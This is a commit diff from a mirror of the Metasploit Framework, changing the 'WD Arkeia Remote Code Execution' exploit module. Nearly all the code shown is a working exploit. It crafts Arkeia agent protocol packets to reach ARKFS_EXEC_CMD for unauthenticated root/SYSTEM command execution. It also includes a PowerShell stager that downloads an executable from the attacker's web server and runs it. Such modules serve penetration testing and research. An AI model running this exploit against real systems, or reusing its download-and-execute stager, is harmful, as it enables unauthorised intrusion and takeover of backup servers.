infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Use HttpServer::HTML 

* And make the exploit Aggressive
bug/bundler_fix
jvazquez-r7 2015-07-10 12:48:21 -05:00
parent e1192c75a9
commit c9d2ab58d3
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 175 additions and 185 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

360
modules/exploits/multi/misc/arkeia_agent_exec.rb
View File

@ -9,11 +9,10 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'WD Arkeia Remote Code Execution', 'Name' => 'WD Arkeia Remote Code Execution',
@ -35,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ [
], ],
'Privileged' => true, 'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' => 'Payload' =>
{ {
'DisableNops' => true 'DisableNops' => true
@ -312,251 +312,241 @@ class Metasploit3 < Msf::Exploit::Remote
@down_file = rand_text_alpha(8+rand(8)) @down_file = rand_text_alpha(8+rand(8))
@pl = generate_payload_exe @pl = generate_payload_exe
srv_host = Rex::Socket.source_address(rhost) begin
Timeout.timeout(datastore['HTTP_DELAY']) {super}
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + '/' + @down_file rescue Timeout::Error
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") end
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => '/' + @down_file
}})
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents.
command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"http:$($s)$($s)#{srv_host}:#{datastore['SRVPORT']}$($s)#{@down_file}\\\";"
command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""
communicate(command)
elsif target.name =~ /Linux/ elsif target.name =~ /Linux/
communicate(payload.encoded) communicate(payload.encoded)
return return
end end
end end
def primer
@payload_url = get_uri
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents.
command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""
communicate(command)
end
def communicate(command) def communicate(command)
print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon") print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")
connect connect
print_status("#{rhost}:#{rport} - Sending agent communication") print_status("#{rhost}:#{rport} - Sending agent communication")
req = "\x00\x41\x00\x00\x00\x00\x00\x70" req = "\x00\x41\x00\x00\x00\x00\x00\x70"
req << "\x00" * 12 req << "\x00" * 12
req << "\xc0\xa8\x02\x8a" req << "\xc0\xa8\x02\x8a"
req << "\x00" * 56 req << "\x00" * 56
req << "\x8a\x02\xa8\xc0" req << "\x8a\x02\xa8\xc0"
req << 'ARKFS' req << 'ARKFS'
req << "\x00" req << "\x00"
req << 'root' req << 'root'
req << "\x00" req << "\x00"
req << 'root' req << 'root'
req << "\x00" * 3 req << "\x00" * 3
req << '4.3.0-1' # Client version ? req << '4.3.0-1' # Client version ?
req << "\x00" * 11 req << "\x00" * 11
sock.put(req) sock.put(req)
id = sock.get_once(4) id = sock.get_once(4)
unless id && id.length == 4 && id == "\x00\x60\x00\x04" unless id && id.length == 4 && id == "\x00\x60\x00\x04"
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end end
data_length = sock.get_once(4) data_length = sock.get_once(4)
unless data_length && data_length.length == 4 unless data_length && data_length.length == 4
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end end
data_length = data_length[2..3].unpack('n')[0] data_length = data_length[2..3].unpack('n')[0]
data = sock.get_once(data_length) data = sock.get_once(data_length)
unless data && data.length == data_length unless data && data.length == data_length
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end end
req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
req << "\x00" * 11 req << "\x00" * 11
sock.put(req) sock.put(req)
id = sock.get_once(4) id = sock.get_once(4)
unless id && id.length == 4 && id == "\x00\x60\x00\x04" unless id && id.length == 4 && id == "\x00\x60\x00\x04"
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end end
data_length = sock.get_once(4) data_length = sock.get_once(4)
unless data_length && data_length.length == 4 unless data_length && data_length.length == 4
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end end
data_length = data_length[2..3].unpack('n')[0] data_length = data_length[2..3].unpack('n')[0]
data = sock.get_once(data_length) data = sock.get_once(data_length)
unless data && data.length == data_length unless data && data.length == data_length
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end end
req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID? req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
req << "\x00" req << "\x00"
req << 'EN' # English language? req << 'EN' # English language?
req << "\x00" * 11 req << "\x00" * 11
sock.put(req) sock.put(req)
id = sock.get_once(4) id = sock.get_once(4)
unless id && id.length == 4 && id == "\x00\x43\x00\x00" unless id && id.length == 4 && id == "\x00\x43\x00\x00"
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end end
data_length = sock.get_once(4) data_length = sock.get_once(4)
unless data_length && data_length.length == 4 unless data_length && data_length.length == 4
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end end
data_length = data_length[2..3].unpack('n')[0] data_length = data_length[2..3].unpack('n')[0]
unless data_length == 0 unless data_length == 0
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
end end
req = "\x00\x62\x00\x01\x00\x02\x00\x1b" req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
req << "\x00\x31" req << "\x00\x31"
req << "\x00" * 11 req << "\x00" * 11
sock.put(req) sock.put(req)
id = sock.get_once(4) id = sock.get_once(4)
unless id && id.length == 4 && id == "\x00\x43\x00\x00" unless id && id.length == 4 && id == "\x00\x43\x00\x00"
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end end
data_length = sock.get_once(4) data_length = sock.get_once(4)
unless data_length && data_length.length == 4 unless data_length && data_length.length == 4
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end end
data_length = data_length[2..3].unpack('n')[0] data_length = data_length[2..3].unpack('n')[0]
unless data_length == 0 unless data_length == 0
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
end end
req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
req << "\x00" * 11 req << "\x00" * 11
sock.put(req) sock.put(req)
command_length = '%02x' % command.length command_length = '%02x' % command.length
command_length = command_length.scan(/../).map { |x| x.hex.chr }.join command_length = command_length.scan(/../).map { |x| x.hex.chr }.join
req = "\x00\x64\x00\x04\x00\x04\x00" req = "\x00\x64\x00\x04\x00\x04\x00"
req << command_length # Maximum length can be 255 bytes (0xFF) req << command_length # Maximum length can be 255 bytes (0xFF)
req << command # Our command to be executed req << command # Our command to be executed
req << "\x00" req << "\x00"
print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD") print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")
sock.put(req) sock.put(req)
id = sock.get_once(4) id = sock.get_once(4)
unless id && id.length == 4 && id == "\x00\x63\x00\x04" unless id && id.length == 4 && id == "\x00\x63\x00\x04"
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end end
data_length = sock.get_once(4) data_length = sock.get_once(4)
unless data_length && data_length.length == 4 unless data_length && data_length.length == 4
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end end
data_length = data_length[2..3].unpack('n')[0] data_length = data_length[2..3].unpack('n')[0]
data = sock.get_once(data_length) data = sock.get_once(data_length)
unless data && data.length == data_length unless data && data.length == data_length
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end end
# 1st Packet # 1st Packet
id = sock.get_once(4) id = sock.get_once(4)
unless id && id.length == 4 && id == "\x00\x68\x00\x04" unless id && id.length == 4 && id == "\x00\x68\x00\x04"
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end end
data_length = sock.get_once(4) data_length = sock.get_once(4)
unless data_length && data_length.length == 4 unless data_length && data_length.length == 4
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end end
data_length = data_length[2..3].unpack('n')[0] data_length = data_length[2..3].unpack('n')[0]
data = sock.get_once(data_length) data = sock.get_once(data_length)
unless data && data.length == data_length unless data && data.length == data_length
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end end
# 2st Packet # 2st Packet
id = sock.get_once(4) id = sock.get_once(4)
unless id && id.length == 4 && id == "\x00\x68\x00\x04" unless id && id.length == 4 && id == "\x00\x68\x00\x04"
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
end end
data_length = sock.get_once(4) data_length = sock.get_once(4)
unless data_length && data_length.length == 4 unless data_length && data_length.length == 4
disconnect disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
end end
data_length = data_length[2..3].unpack('n')[0] data_length = data_length[2..3].unpack('n')[0]
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end
# Wait for our payload to be sent, else HTTP server might shutdown too quick
select(nil, nil, nil, datastore['HTTP_DELAY'])
data = sock.get_once(data_length)
unless data && data.length == data_length
disconnect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
end
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
unless @pl print_status("Request: #{request.uri}")
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") if request.uri == get_resource
return print_status('Sending payload...')
send_response(cli, @pl)
register_files_for_cleanup("c:\\#{@down_file}.exe")
end end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
register_files_for_cleanup("c:\\#{@down_file}.exe")
send_response(cli, @pl)
end end
end end